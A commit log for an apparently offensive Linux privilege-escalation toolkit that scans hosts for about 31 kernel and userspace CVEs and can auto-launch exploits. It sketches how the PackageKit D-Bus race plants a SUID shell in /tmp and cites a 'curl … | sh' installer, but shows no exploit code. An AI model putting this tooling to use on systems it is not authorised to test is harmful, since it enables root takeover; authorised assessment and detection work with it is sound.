36 Commits

Author SHA1 Message Date
leviathan 72ac6f8774 install.sh: prefer x86_64-static binary by default (portable across libc versions)
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions
The dynamic binary requires glibc 2.38+ — built on
ubuntu-latest (2.39+), it refuses to load on Debian 12
(glibc 2.36), older Ubuntu, RHEL 8/9, etc. Hard portability
ceiling for the one-liner installer.

The musl-static binary (built on Alpine, attached as
skeletonkey-x86_64-static) runs on every libc — verified
Alpine → Debian/Ubuntu/Fedora/RHEL cross-distro. Costs ~800 KB
extra (1.2 MB vs 390 KB) but eliminates the libc-version
problem entirely.

Default: install.sh now fetches the -static asset for x86_64.
Override: SKELETONKEY_DYNAMIC=1 curl … | sh fetches the smaller
dynamic binary (for hosts that have modern glibc and want the
smaller download).

arm64: no static variant attached yet (cross-compiling musl
for aarch64 needs a separate toolchain); install.sh still
fetches the dynamic arm64 binary, which works on most modern
arm64 distros (raspberry-pi / aws graviton / etc.).
2026-05-23 00:28:36 -04:00
leviathan fde053a27e install.sh: POSIX-compatible 'set -o pipefail' so 'curl | sh' works
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions
The README documents the one-liner as 'curl ... install.sh | sh',
but on Debian/Ubuntu /bin/sh is dash which rejects 'set -o pipefail'
unknown option. The shebang #!/usr/bin/env bash is honored only
when the script is invoked directly — when piped via 'curl | sh'
the running shell IS dash.

Fix: split the strict-mode setup. 'set -eu' is POSIX-portable
(every shell). 'pipefail' is then enabled conditionally only on
shells that recognise it. Every curl/tar/install step in the rest
of the script checks its own exit code, so losing pipefail in dash
costs no behaviour — the installer still fails fast on any error.
2026-05-23 00:24:58 -04:00
leviathan 97be306fd2 release: bump version to v0.6.0
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions
This release captures the session's reliability + accuracy work
on top of v0.5.0:

- Shared host fingerprint (core/host.{h,c}): kernel/distro/userns
  gates / sudo + polkit versions, populated once at startup; every
  module consults ctx->host instead of doing its own probes.
- Test harness (tests/test_detect.c, make test): 44 unit tests over
  mocked host fingerprints, wired into CI as a non-root step.
- --auto upgrades: auto-enables --active, per-detect 15s timeout,
  fork-isolated detect + exploit so a crashing module can't tear
  down the dispatcher, per-module verdict table + scan summary.
- --dry-run flag (preview without firing; --i-know not required).
- Pinned mainline fix commits for the 3 ported modules
  (dirtydecrypt / fragnesia / pack2theroot) — detect() is now
  version-pinned with kernel_range tables, not precondition-only.
- New modules: dirtydecrypt (CVE-2026-31635), fragnesia
  (CVE-2026-46300), pack2theroot (CVE-2026-41651).
- macOS dev build works for the first time (all Linux-only code
  wrapped in #ifdef __linux__).
- docs/JSON_SCHEMA.md: stable consumer contract for --scan --json.

Version bump:
- SKELETONKEY_VERSION = '0.6.0' in skeletonkey.c
- README status line updated with the v0.6.0 changelog
- docs/JSON_SCHEMA.md example refreshed
2026-05-23 00:22:18 -04:00
leviathan a9c8f7d8c6 tests: 5 happy-path VULNERABLE assertions (44 total)
Adds h_kernel_5_14_userns_ok fingerprint (vulnerable kernel +
userns allowed) and uses it to assert the VULNERABLE branch is
reached on the 5 netfilter-class modules whose detect()
short-circuits there once both gates are satisfied:

- nf_tables    (CVE-2024-1086) -> VULNERABLE
- cls_route4   (CVE-2022-2588) -> VULNERABLE
- nft_set_uaf  (CVE-2023-32233) -> VULNERABLE
- nft_fwd_dup  (CVE-2022-25636) -> VULNERABLE
- nft_payload  (CVE-2023-0179) -> VULNERABLE

Combined with the earlier sudo_samedit and pwnkit
vulnerable-version tests, this gives us positive-verdict coverage
on 7 modules (was 2). The detect() logic that decides VULNERABLE
when conditions match is now exercised, not just the precondition
short-circuits.

39 -> 44 cases, all pass on Linux.
2026-05-23 00:17:17 -04:00
leviathan 150f16bc97 pwnkit + sudoedit_editor: ctx->host migration + 4 more tests (39 total)
pwnkit: migrate detect() to consult ctx->host->polkit_version with
the same graceful-fallback pattern as the sudo modules. The version
is populated once at startup by core/host.c (via pkexec --version);
detect() skips the per-scan popen when the host fingerprint has the
version. Falls back to the inline popen path when ctx->host is
missing the version (degenerate test contexts).

sudoedit_editor: already migrated; this commit adds direct test
coverage.

tests/test_detect.c expansion (35 → 39):
- pwnkit: polkit_version='0.105'  -> VULNERABLE (pre-0.121 fix)
- pwnkit: polkit_version='0.121'  -> OK (fix release)
- sudoedit_editor: vuln sudo + no sudoers grant -> PRECOND_FAIL
  (documented behaviour: vulnerable version, but the dispatcher
   has no usable sudoedit grant on the host)
- sudoedit_editor: fixed sudo (1.9.13p1) -> OK

The sudoedit_editor 'vuln + no grant' case is the first test to
exercise the second-level precondition gate AFTER the version
check passes — proves the version-pinned detect logic AND the
sudo -ln target-discovery short-circuit both work as intended.

The h_vuln_sudo / h_fixed_sudo synthetic fingerprints gained the
.polkit_version field alongside .sudo_version so a single fingerprint
exercises both pwnkit and the sudo modules.

Verification: 39/39 pass on Linux (docker gcc:latest + libglib2.0-dev
+ sudo, non-root user skeletonkeyci). macOS dev box still reports
'skipped — Linux-only' as designed.
2026-05-23 00:15:01 -04:00
leviathan c63ee72aa1 docs: JSON output schema (consumer contract for --scan --json)
Adds docs/JSON_SCHEMA.md documenting the shape and stability promises
of the JSON document --scan --json emits on stdout. The schema is
already what the binary produces — this commit pins the contract so
fleet-scan / SIEM consumers can rely on it across releases.

What it covers:
- Top-level object: { version, modules } and field stability.
- Per-module entry: { name, cve, result } with type + stability.
- The 6-value result enum (OK / TEST_ERROR / VULNERABLE /
  EXPLOIT_FAIL / PRECOND_FAIL / EXPLOIT_OK) and what each means
  semantically.
- Process exit-code semantics for --scan (worst observed result
  becomes the exit code — lets a SIEM treat the binary exit as a
  single-host alert level).
- Bash + jq one-liners for the common fleet-roll-up patterns.
- A recommended Python consumer pattern with the forward-compat
  guidance (ignore unknown fields, treat unknown result strings as
  TEST_ERROR-equivalent).
- Explicit stability promises: which fields cannot change without
  a major-version bump, what may be added in future minor
  releases, what consumers MUST tolerate.

Verified against the live binary: --scan --json produces exactly
the documented shape (top-level keys {modules, version}; per-module
keys {cve, name, result}; result values come from the documented
enum). 31 modules / 30 unique CVEs at v0.5.0.

README's 'Sysadmins' audience row now links the schema doc:
'JSON output for CI gates ([schema](docs/JSON_SCHEMA.md))'.
2026-05-23 00:07:45 -04:00
leviathan 86812b043d core/host: userspace version fingerprint (sudo, polkit)
The host fingerprint now captures sudo + polkit versions at startup
so userspace-LPE modules can consult a single source of truth
instead of each popen-ing the relevant binary themselves on every
scan. Pack2theroot already queries PackageKit version via D-Bus
in-module, so PackageKit stays there for now.

core/host.h:
- new fields: char sudo_version[64], char polkit_version[64].
  Empty string when the tool isn't installed or version parse fails;
  modules should treat that as PRECOND_FAIL.
- documented next to has_systemd / has_dbus_system in the struct.

core/host.c:
- new populate_userspace_versions(h) called from
  skeletonkey_host_get() after the other populators.
- capture_first_line() helper runs a command via popen, grabs first
  stdout line, strips newline. Best-effort: failure leaves dst empty.
- extract_version_after_prefix() pulls the version token after a
  fixed prefix string ('Sudo version', 'pkexec version'), handling
  the colon/space variants.
- skeletonkey_host_print_banner() gained a third line when either
  version is non-empty:
    [*] userspace: sudo=1.9.17p2  polkit=-

Module migration (graceful fallback pattern — modules still work
without ctx->host populated):
- sudo_samedit detect: if ctx->host->sudo_version is set, skip the
  popen and synthesize a 'Sudo version <X>' line for the existing
  parser. Falls back to the original find_sudo + popen path if the
  host fingerprint didn't capture a version.
- sudoedit_editor detect: same pattern — host fingerprint sudo_version
  takes precedence over the local get_sudo_version popen.

tests/test_detect.c additions (2 new cases, 33 → 35):
- h_vuln_sudo  fingerprint (sudo_version='1.8.31', kernel 5.15) —
  asserts sudo_samedit reports VULNERABLE via the host-provided
  version string.
- h_fixed_sudo fingerprint (sudo_version='1.9.13p1', kernel 6.12) —
  asserts sudo_samedit reports OK on a patched sudo.

This is the first test pair to cover the *vulnerable* path of a
module rather than just precondition gates — proves the
version-parsing logic itself, not only the short-circuits.

Verification: 35/35 pass on Linux. macOS banner shows
'userspace: sudo=1.9.17p2 polkit=-' as the dev box has Homebrew
sudo but no polkit.
2026-05-23 00:05:39 -04:00
leviathan 0d87cbc71c copy_fail_family: bridge-level userns gate + 4 new tests (33 total)
The 4 dirty_frag siblings + the GCM variant all gate on unprivileged
user-namespace creation (the XFRM-ESP / AF_RXRPC paths are
unreachable without it). The inner DIRTYFAIL detect functions
already check this, but the check happened deep inside the legacy
code — invisible to the test harness, and the bridge wrappers would
delegate first and only short-circuit afterwards.

Move the check up to the bridge: a single cff_check_userns() helper
inspects ctx->host->unprivileged_userns_allowed and returns
PRECOND_FAIL (with a host-fingerprint-annotated message) BEFORE
calling the inner detect. The inner check stays in place as belt-
and-suspenders.

copy_fail itself uses AF_ALG (no userns needed) and bypasses the
gate — its inner detect still confirms the primitive empirically
via the active probe.

modules/copy_fail_family/skeletonkey_modules.c:
- #include "../../core/host.h" alongside the existing includes.
- new static cff_check_userns(modname, ctx) helper.
- copy_fail_gcm_detect_wrap, dirty_frag_esp_detect_wrap,
  dirty_frag_esp6_detect_wrap, dirty_frag_rxrpc_detect_wrap all
  call cff_check_userns before delegating.
- copy_fail_detect_wrap is intentionally untouched.

tests/test_detect.c: 4 new EXPECT_DETECT cases assert that all 4
gated bridge wrappers return PRECOND_FAIL when
unprivileged_userns_allowed=false, using the existing
h_kernel_5_14_no_userns fingerprint.

29 → 33 tests, all pass on Linux.
2026-05-23 00:02:23 -04:00
leviathan 2b1e96336e core/host: in_range helper + 13-module migration + 12 more tests (29 total)
Three coordinated changes that build on the host_kernel_at_least
landed in 1571b88:

1. core/host gains skeletonkey_host_kernel_in_range(h, lo..., hi...)
   — a [lo, hi) bounded-interval check for modules that want the
   'vulnerable window' semantics directly. Implemented in terms of
   host_kernel_at_least (so the comparison logic stays in one place).
   No module uses it yet; available for new modules that want it.

2. 13 modules migrated off the manual
        if (v->major < X || (v->major == X && v->minor < Y)) { ... }
   pattern onto
        if (!skeletonkey_host_kernel_at_least(ctx->host, X, Y, 0)) { ... }
   One-line replacements, mechanical, no behavior change.

   Migrated: af_packet2, dirty_pipe, fuse_legacy, netfilter_xtcompat,
   nf_tables, nft_fwd_dup, nft_payload, nft_set_uaf, overlayfs,
   overlayfs_setuid, ptrace_traceme, stackrot, vmwgfx. The repo now
   has zero manual 'v->major < X' patterns — every predates-check
   reads the same way.

3. tests/test_detect.c expanded from 17 to 29 cases. Adds:

   Above-fix coverage on h_kernel_6_12 (10 modules previously
   untested): af_packet, af_packet2, af_unix_gc, netfilter_xtcompat,
   nft_set_uaf, nft_fwd_dup, nft_payload, stackrot, sequoia, vmwgfx.

   Ancient-kernel predates coverage on h_kernel_4_4 (2 more cases):
   nft_set_uaf (introduced 5.1), stackrot (introduced 6.1).

   Detect-path test coverage now spans most of the corpus that
   has a testable host-fingerprint gate. Untested modules from
   here on are either userspace bugs whose detect() doesn't gate
   on host fields (pwnkit, sudo_samedit, sudoedit_editor),
   entrybleed (sysfs-direct, no host gate), or the copy_fail_family
   bridge (no ctx->host integration yet).

Verification: Linux (docker gcc:latest, non-root user): 29/29 pass.
macOS (local): 31-module build clean, suite reports 'skipped —
Linux-only' as designed.
2026-05-22 23:58:38 -04:00
leviathan 1571b88725 core/host: skeletonkey_host_kernel_at_least + 9 new detect() tests
core/host helper:
- Adds bool skeletonkey_host_kernel_at_least(h, M, m, p) — the
  canonical 'kernel >= X.Y.Z' check. Replaces the manual
  'v->major < X || (v->major == X && v->minor < Y)' pattern that
  many modules use for their 'predates the bug' pre-check. Returns
  false when h is NULL or h->kernel.major == 0 (degenerate cases),
  true otherwise iff the host kernel sorts at or above the supplied
  version.
- dirtydecrypt migrated as the demo: the 'kernel < 7.0 → predates'
  pre-check now reads 'if (!host_kernel_at_least(ctx->host, 7, 0, 0))'.
  Other modules still using the manual pattern continue to work
  unchanged; migrating them is incremental polish.

tests/test_detect.c expansion (8 → 17 cases):

New fingerprints:
- h_kernel_4_4    — ancient (Linux 4.4 LTS); used for 'predates the
                    bug' on dirty_pipe.
- h_kernel_6_12   — recent (Linux 6.12 LTS); above every backport
                    threshold in the corpus — modules report OK via
                    the 'patched by mainline inheritance' branch of
                    kernel_range_is_patched.
- h_kernel_5_14_no_userns — vulnerable-era kernel (5.14.0, past
                    every relevant predates check while below every
                    backport entry) with unprivileged_userns_allowed
                    deliberately false; lets the userns gate fire
                    after the version check confirms vulnerable.

New tests (9):
- dirty_pipe + kernel 4.4 → OK (predates 5.8 introduction)
- dirty_pipe + kernel 6.12 → OK (above every backport)
- dirty_cow + kernel 6.12 → OK (above 4.9 fix)
- ptrace_traceme + kernel 6.12 → OK (above 5.1.17 fix)
- cgroup_release_agent + kernel 6.12 → OK (above 5.17 fix)
- nf_tables + vuln kernel + userns=false → PRECOND_FAIL
- fuse_legacy + vuln kernel + userns=false → PRECOND_FAIL
- cls_route4 + vuln kernel + userns=false → PRECOND_FAIL
- overlayfs_setuid + vuln kernel + userns=false → PRECOND_FAIL

Process note: initial 8th and 9th userns tests failed because the
chosen test kernel (5.10.0) tripped each module's predates check
(nf_tables bug introduced 5.14; overlayfs_setuid 5.11). Switched to
5.14.0, which is past every predates threshold AND below every
backport entry in this batch — the version verdict is now genuinely
'vulnerable' and the userns gate fires next. The bug-finding tests
caught a real-but-narrow modeling gap in the original picks.

Verification:
- Linux (docker gcc:latest, non-root user): 17/17 pass.
- macOS (local): builds clean, suite reports 'skipped — Linux-only'
  as designed.
2026-05-22 23:52:10 -04:00
leviathan 36814f272d modules: migrate remaining 22 modules to ctx->host fingerprint
Completes the host-fingerprint refactor that started in c00c3b4. Every
module now consults the shared ctx->host (populated once at startup
by core/host.c) instead of re-doing uname / geteuid / /etc/os-release
parsing / fork+unshare(CLONE_NEWUSER) probes per detect().

Migrations applied per module (mechanical, no exploit logic touched):

1. #include "../../core/host.h" inside each module's #ifdef __linux__.
2. kernel_version_current(&v) -> ctx->host->kernel (with the
   v -> v-> arrow-vs-dot fix for all later usage). Drops ~20 redundant
   uname() calls across the corpus.
3. geteuid() == 0 (the 'already root, nothing to escalate' gate) ->
   bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
   This is the key change that lets the unit test suite construct
   non-root fingerprints regardless of the test process's actual euid.
4. Per-detect fork+unshare(CLONE_NEWUSER) probe helpers (named
   can_unshare_userns / can_unshare_userns_mount across the corpus)
   are removed wholesale; their call sites now consult
   ctx->host->unprivileged_userns_allowed, which was probed once at
   startup. Removes ~10 per-scan fork()s.

Modules touched by this commit (22):

  Batch A (7): dirty_pipe, dirty_cow, ptrace_traceme, pwnkit,
               cgroup_release_agent, overlayfs_setuid, and entrybleed
               (no migration target — KPTI gate stays as direct sysfs
               read; documented as 'no applicable pattern').

  Batch B (7): nf_tables, cls_route4, netfilter_xtcompat, af_packet,
               af_packet2, af_unix_gc, fuse_legacy.

  Batch C (8): stackrot, nft_set_uaf, nft_fwd_dup, nft_payload,
               sudo_samedit, sequoia, sudoedit_editor, vmwgfx.

Combined with the 4 modules already migrated (dirtydecrypt, fragnesia,
pack2theroot, overlayfs) and the 5-module copy_fail_family bridge,
the entire registered corpus now goes through ctx->host. The 4
'fork+unshare per detect()' helpers that existed across nf_tables,
cls_route4, netfilter_xtcompat, af_packet, af_packet2, fuse_legacy,
nft_set_uaf, nft_fwd_dup, nft_payload, sequoia,
cgroup_release_agent, and overlayfs_setuid are now gone — replaced by
the single startup probe in core/host.c.

Verification:
- Linux (docker gcc:latest + libglib2.0-dev): full clean build links
  31 modules; tests/test_detect.c: 8/8 pass.
- macOS (local): full clean build links 31 modules (Mach-O, 172KB);
  test suite reports skipped as designed on non-Linux.

Subsequent commits can add more EXPECT_DETECT cases in
tests/test_detect.c — the host-fingerprint paths in every module are
now uniformly testable via synthetic struct skeletonkey_host instances.
2026-05-22 23:43:20 -04:00
leviathan d05a46c5c6 .gitignore: exclude skeletonkey-test build artifact
Mirrors the /skeletonkey rule. The test binary slipped into the prior
commit; this removes it from tracking. Local binary on disk is kept
(it's a build artifact).
2026-05-22 23:32:23 -04:00
leviathan ea1744e6f0 tests: detect() unit harness with mocked ctx->host
Adds tests/test_detect.c — a standalone harness that constructs
synthetic struct skeletonkey_host fingerprints (vulnerable / patched /
specific-gate-closed) and asserts each migrated module's detect()
returns the expected verdict. First real test coverage for the corpus;
catches regressions in the host-fingerprint-consuming logic.

Initial coverage — 8 deterministic cases across the 4 modules that
already consume ctx->host:
- dirtydecrypt: 3 cases verifying 'kernel < 7.0 -> predates the bug'
  short-circuit on synthetic 6.12 / 6.14 / 6.8 hosts.
- fragnesia: unprivileged_userns_allowed=false -> PRECOND_FAIL.
- pack2theroot: is_debian_family=false -> PRECOND_FAIL.
- pack2theroot: has_dbus_system=false -> PRECOND_FAIL.
- overlayfs: distro=debian / distro=fedora -> 'not Ubuntu' -> OK.

Coverage grows automatically as more modules migrate to ctx->host
(task #12 below adds them). Each new module that consults the host
fingerprint can have its precondition gates tested with a one-line
EXPECT_DETECT call against a pre-built fingerprint.

Wiring:
- Makefile: new MODULE_OBJS var consolidates the module .o list so
  both the main binary and the test binary can share it without
  duplication. New TEST_BIN := skeletonkey-test target. 'make test'
  builds and runs the suite.
- .github/workflows/build.yml: install libglib2.0-dev + pkg-config so
  pack2theroot builds with GLib in CI (was previously stub-compiling).
  New 'tests — detect() unit suite' step runs 'make test' as a
  non-root user so modules' 'already root' gates don't short-circuit
  before the synthetic host checks fire.
- Test harness compiles cross-platform but assertions are #ifdef
  __linux__ guarded (on non-Linux all module detect() bodies stub-out
  to PRECOND_FAIL, making assertions tautological); macOS dev build
  reports 'skipped'.

Module change:
- pack2theroot p2tr_detect now consults ctx->host->is_root (with a
  geteuid() fallback when ctx->host is null) instead of calling
  geteuid() directly. Production behaviour is identical
  (host->is_root is populated from geteuid() at startup); tests can
  now construct non-root fingerprints regardless of the test
  process's actual euid. Exposed a real consistency issue worth
  fixing.

Verified in docker as non-root: 8/8 pass on Linux. macOS reports
'skipped' as designed.
2026-05-22 23:32:12 -04:00
leviathan c00c3b463a dispatcher: per-detect timeout + exploit() fork-isolation
Two reliability improvements that make --auto survive any misbehaving
module: a 15s timeout on detect() so a hung probe can't stall the
scan, and fork-isolation around exploit/mitigate/cleanup so a
crashing callback doesn't take down --auto's fallback path.

Detect timeout:
- New SKELETONKEY_DETECT_TIMEOUT_SECS = 15.
- run_detect_isolated() forked child now calls alarm(15); if detect()
  hangs, SIGALRM kills the child. Parent observes WIFSIGNALED with
  signal SIGALRM and reports 'detect() timed out (signal 14)' in the
  verdict table.
- cmd_auto distinguishes timeout vs other crash in the scan-summary
  callout: separate n_timeout counter and dedicated [!] line.

Exploit fork-isolation:
- New run_callback_isolated() wraps exploit() / mitigate() / cleanup()
  in a forked child. Two crash-safety properties:
  * A SIGSEGV/SIGILL in the callback is contained; --auto continues
    to the next-safest candidate via its existing fallback list.
  * The dispatcher itself can't be killed by a misbehaving exploit.
- Result-code communication is via a one-byte pipe with FD_CLOEXEC on
  the write end:
  * Callback returns normally  -> child writes result byte, _exit;
                                  parent reads it; trusted result.
  * Callback execve()s a target -> FD_CLOEXEC closes the write end
                                  during the exec transition;
                                  parent's read() gets EOF; we treat
                                  exec-then-exit as EXPLOIT_OK
                                  regardless of the shell's exit
                                  code (we DID land code execution).
  * Callback crashes           -> WIFSIGNALED true; report the
                                  signal and propagate EXPLOIT_FAIL.
- cmd_auto: exploit() crash now logged distinctly ('[!] X exploit
  crashed (signal N) — dispatcher recovered'). Exec-path is
  surfaced too ('[*] X exploit transferred to spawned target — ...').
- cmd_one: same wrapping, same crash/exec reporting for the
  --exploit/--mitigate/--cleanup single-module paths.

Both platforms build clean. Verified containment behavior on Linux
in docker: entrybleed's prefetchnta SIGILL still reports cleanly as
'detect() crashed (signal 4) — continuing' and the scan finishes
through all 31 modules to the summary + pick step.
2026-05-22 23:26:09 -04:00
leviathan 4f30d00a1c core/host: shared host fingerprint refactor
Adds core/host.{h,c} — a single struct skeletonkey_host populated once
at startup and handed to every module callback via ctx->host. Replaces
the per-detect uname / /etc/os-release / sysctl / userns-fork-probe
calls scattered across the corpus with O(1) cached lookups, and gives
the dispatcher one consistent view of the host.

What's in the fingerprint:

- Identity: kernel_version (parsed from uname.release), arch (machine),
  nodename, distro_id / distro_version_id / distro_pretty (parsed once
  from /etc/os-release).
- Process state: euid, real_uid (defeats userns illusion via
  /proc/self/uid_map), egid, username, is_root, is_ssh_session.
- Platform family: is_linux, is_debian_family, is_rpm_family,
  is_arch_family, is_suse_family (file-existence checks once).
- Capability gates (Linux): unprivileged_userns_allowed (live
  fork+unshare probe), apparmor_restrict_userns,
  unprivileged_bpf_disabled, kpti_enabled, kernel_lockdown_active,
  selinux_enforcing, yama_ptrace_restricted.
- System services: has_systemd, has_dbus_system.

Wiring:

- core/module.h forward-declares struct skeletonkey_host and adds the
  pointer to skeletonkey_ctx. Modules opt-in by including
  ../../core/host.h.
- core/host.c is fully POD (no heap pointers) — uses a single file-
  static instance, returns a stable pointer on every call. Lazily
  populated on first skeletonkey_host_get().
- skeletonkey.c calls skeletonkey_host_get() at main() entry, stores
  in ctx.host before any register_*() runs.
- cmd_auto's bespoke distro-fingerprint code (was an inline
  read_os_release helper) is replaced with skeletonkey_host_print_banner(),
  which emits a two-line banner of identity + capability gates.

Migrations:

- dirtydecrypt: kernel_version_current() -> ctx->host->kernel.
- fragnesia: removed local fg_userns_allowed() fork-probe in favour of
  ctx->host->unprivileged_userns_allowed (no per-scan fork). Also
  pulls kernel from ctx->host. The PRECOND_FAIL message now notes
  whether AppArmor restriction is on.
- pack2theroot: access('/etc/debian_version') -> ctx->host->is_debian_family;
  also short-circuits when ctx->host->has_dbus_system is false (saves
  the GLib g_bus_get_sync attempt on systems without system D-Bus).
- overlayfs: replaced the inline is_ubuntu() /etc/os-release parser
  with ctx->host->distro_id comparison. Local helper preserved for
  symmetry / standalone builds.

Documentation: docs/ARCHITECTURE.md gains a 'Host fingerprint'
section describing the struct, the opt-in include pattern, and
example detect() usage. ROADMAP --auto accuracy log notes the
landing and flags remaining modules as an incremental follow-up.

Build verification:

- macOS (local): make clean && make -> Mach-O x86_64, 31 modules,
  banner prints with distro=?/? (no /etc/os-release).
- Linux (docker gcc:latest + libglib2.0-dev): make clean && make ->
  ELF 64-bit, 31 modules. Banner prints with kernel + distro=debian/13
  + 7 capability gates. dirtydecrypt correctly says 'predates the
  rxgk code added in 7.0'; fragnesia PRECOND_FAILs with
  '(host fingerprint)' annotation; pack2theroot PRECOND_FAILs on
  no-DBus; overlayfs reports 'not Ubuntu (distro=debian)'.
2026-05-22 23:18:00 -04:00
leviathan 3e6e0d869b skeletonkey: add --dry-run flag
Preview-only mode for --auto / --exploit / --mitigate / --cleanup.
Walks the full scan (with active probes, fork isolation, verdict
table — everything the real --auto does) and prints what would be
launched, without ever calling the exploit/mitigate/cleanup callback.

Wiring:
- struct skeletonkey_ctx gains a 'dry_run' field (core/module.h).
- Long option --dry-run, getopt case 10.
- cmd_auto: after picking the safest, if dry_run, print
    [*] auto: --dry-run: would launch `--exploit <NAME> --i-know`; not firing.
  plus the remaining ranked candidates, then return 0.
- cmd_one (used for --exploit/--mitigate/--cleanup) shorts on dry_run
  with [*] <module>: --dry-run: would run --<op>; not firing.

UX: --auto --dry-run does NOT require --i-know (nothing fires). The
refusal message for bare --auto now points to --dry-run for the
preview path:
  [-] --auto requires --i-know (or --dry-run for a preview that never fires).

ROADMAP --auto accuracy section updated with the dry-run + the
version-pinned detect work from the previous commit.

Smoke-tested locally on macOS: scanning runs, verdicts print, the
'would launch' line fires, exit 0.
2026-05-22 23:08:24 -04:00
leviathan a26f471ecf dirtydecrypt + fragnesia: pin CVE fix commits, version-based detect()
Both modules' detect() was precondition-only because we didn't know the
mainline fix commits at port time. Debian's security tracker now
provides them — pinning here turns detect() into a proper version-
based verdict (still with --active for empirical override).

dirtydecrypt (CVE-2026-31635):
- Fix commit a2567217ade970ecc458144b6be469bc015b23e5 in mainline 7.0
  ('rxrpc: fix oversized RESPONSE authenticator length check').
- Debian tracker confirms older stable branches (5.10 / 6.1 / 6.12) as
  <not-affected, vulnerable code not present>: the rxgk RESPONSE-
  handling code was added in 7.0.
- kernel_range table: { {7, 0, 0} }
- detect() pre-checks 'kernel < 7.0 -> SKELETONKEY_OK (predates)' then
  consults the table. With --active, the /tmp sentinel probe overrides
  empirically (catches pre-fix 7.0-rc kernels the version check
  reports as patched).

fragnesia (CVE-2026-46300):
- Fix in mainline 7.0.9 per Debian tracker ('linux unstable: 7.0.9-1
  fixed'). Older Debian-stable branches (bullseye 5.10 / bookworm 6.1
  / trixie 6.12) are still marked vulnerable as of 2026-05-22 - no
  backports yet.
- kernel_range table: { {7, 0, 9} }
- detect() keeps the userns + carrier preconditions, then consults
  the table: 7.0.9+ -> OK; older branches without an explicit backport
  entry -> VULNERABLE (version-only). --active confirms empirically.
- Table is intentionally minimal so distros that DO backport in the
  future flow into 'patched' once their branch lands an entry; until
  then, the conservative VULNERABLE verdict on unfixed branches is
  correct.

Other changes:
- module struct .kernel_range strings updated from 'fix commit not
  yet pinned' to the actual pinned-version prose.
- module_safety_rank bumped 86 -> 87 for both modules (version-pinned
  detect is now real; still below the verified copy_fail family at
  88 so --auto prefers verified modules when both apply).
- Both modules now #include core/kernel_range.h inside their
  #ifdef __linux__ block.
- MODULE.md verification-status sections rewritten: detect() is now
  version-pinned; only the exploit body remains unverified.
- CVES.md note + inventory rows updated: dropped the 'precondition-
  only' language for the pair; all three ported modules now have
  pinned fix references.
- README  tier description + module list aligned to the new state.

Both detect()s smoke-tested in docker gcc:latest on kernel 6.12.76-
linuxkit: dirtydecrypt correctly reports OK ('predates the rxgk code
added in 7.0'); fragnesia + pack2theroot correctly report
PRECOND_FAIL (no userns / no D-Bus in container). Local macOS + Linux
builds both clean.
2026-05-22 23:06:15 -04:00
leviathan cdb8f5e8f9 all modules: wrap Linux-only code in #ifdef __linux__ — full macOS build works
Every kernel-LPE module that uses Linux-only headers (splice, posix_fadvise,
linux/netlink.h, sys/ptrace.h, etc.) now follows the same #ifdef __linux__
pattern the new modules already used: Linux body in the ifdef, stub
detect/exploit/cleanup returning SKELETONKEY_PRECOND_FAIL on non-Linux,
platform-neutral rule strings + module struct + register fn left outside.

14 modules wrapped:
  dirty_pipe (already done above), af_packet, af_packet2,
  cgroup_release_agent, cls_route4, dirty_cow, fuse_legacy,
  netfilter_xtcompat, nf_tables, nft_fwd_dup, nft_payload,
  overlayfs, overlayfs_setuid, ptrace_traceme.

Several modules previously had ad-hoc partial stubs (af_packet2 faked
SIOCSIFFLAGS/MAP_LOCKED, netfilter_xtcompat faked sysv-msg syscalls,
the nft_* modules had 3 partial __linux__ islands each, fuse_legacy /
nf_tables had inner-only ifdef blocks) — all replaced with the uniform
outer-wrap shape from dirty_pipe / dirtydecrypt / fragnesia / pack2theroot.

Where a module includes core/kernel_range.h, core/finisher.h, or
core/offsets.h, those are now inside the ifdef block as well — silences
clangd's "unused-includes" LSP warning on macOS while keeping them
present for the real Linux build.

No exploit logic, constant, struct, shellcode byte, or rule string was
modified — only include placement and ifdef markers.

Build verification:
  macOS (local): make clean && make → Mach-O x86_64, 31 modules
                 registered, --scan reports each Linux-only module as
                 "Linux-only module — not applicable here".
  Linux (docker gcc:latest + libglib2.0-dev): make clean && make →
                 ELF 64-bit, 31 modules. Exploit code paths unchanged.
2026-05-22 22:58:16 -04:00
leviathan 9a4cc91619 pack2theroot (CVE-2026-41651) + --auto accuracy work
Adds the third ported module — Pack2TheRoot, a userspace PackageKit
D-Bus TOCTOU LPE — and spends real effort hardening --auto so its
detect step gives an accurate, robust verdict before deploying.

pack2theroot (CVE-2026-41651):
- Ported from the public Vozec PoC
  (github.com/Vozec/CVE-2026-41651). Original disclosure by the
  Deutsche Telekom security team.
- Two back-to-back InstallFiles D-Bus calls (SIMULATE then NONE)
  overwrite the cached transaction flags between polkit auth and
  dispatch. GLib priority ordering makes the overwrite deterministic,
  not a timing race; postinst of the malicious .deb drops a SUID bash
  in /tmp.
- detect() reads PackageKit's VersionMajor/Minor/Micro directly over
  D-Bus and compares against the pinned fix release 1.3.5 (commit
  76cfb675). This is a high-confidence verdict, not precondition-only.
- Debian-family only (PoC builds its own .deb in pure C; ar/ustar/
  gzip-stored inline). Cleanup removes /tmp .debs + best-effort
  unlinks /tmp/.suid_bash + sudo -n dpkg -r the staging packages.
- Adds an optional GLib/GIO build dependency. The top-level Makefile
  autodetects via `pkg-config gio-2.0`; when absent the module
  compiles as a stub returning PRECOND_FAIL.
- Embedded auditd + sigma rules cover the file-side footprint
  (/tmp/.suid_bash, /tmp/.pk-*.deb, non-root dpkg/apt execve).

--auto accuracy improvements:
- Auto-enables --active before the scan. Per-module sentinel probes
  (page-cache /tmp files, fork-isolated namespace mounts) turn
  version-only checks into definitive verdicts, so silent distro
  backports don't fool the scan and --auto won't pick blind on
  TEST_ERROR.
- Per-module verdict printing — every module's result is shown
  (VULNERABLE / patched / precondition / indeterminate), not just
  VULNERABLE rows. Operator sees the full picture.
- Scan-end summary line: "N vulnerable, M patched/n.a., K
  precondition-fail, L indeterminate" with a separate callout when
  modules crashed.
- Distro fingerprint added to the auto banner (ID + VERSION_ID from
  /etc/os-release alongside kernel/arch).
- Fork-isolated detect() — each detector runs in a child process so
  a SIGILL/SIGSEGV in one module's probe is contained and the scan
  continues. Surfaced live while testing: entrybleed's prefetchnta
  KASLR sweep SIGILLs on emulated CPUs (linuxkit on darwin); without
  isolation the whole --auto died at module 7 of 31. With isolation
  the scan reports "detect() crashed (signal 4) — continuing" and
  finishes cleanly.

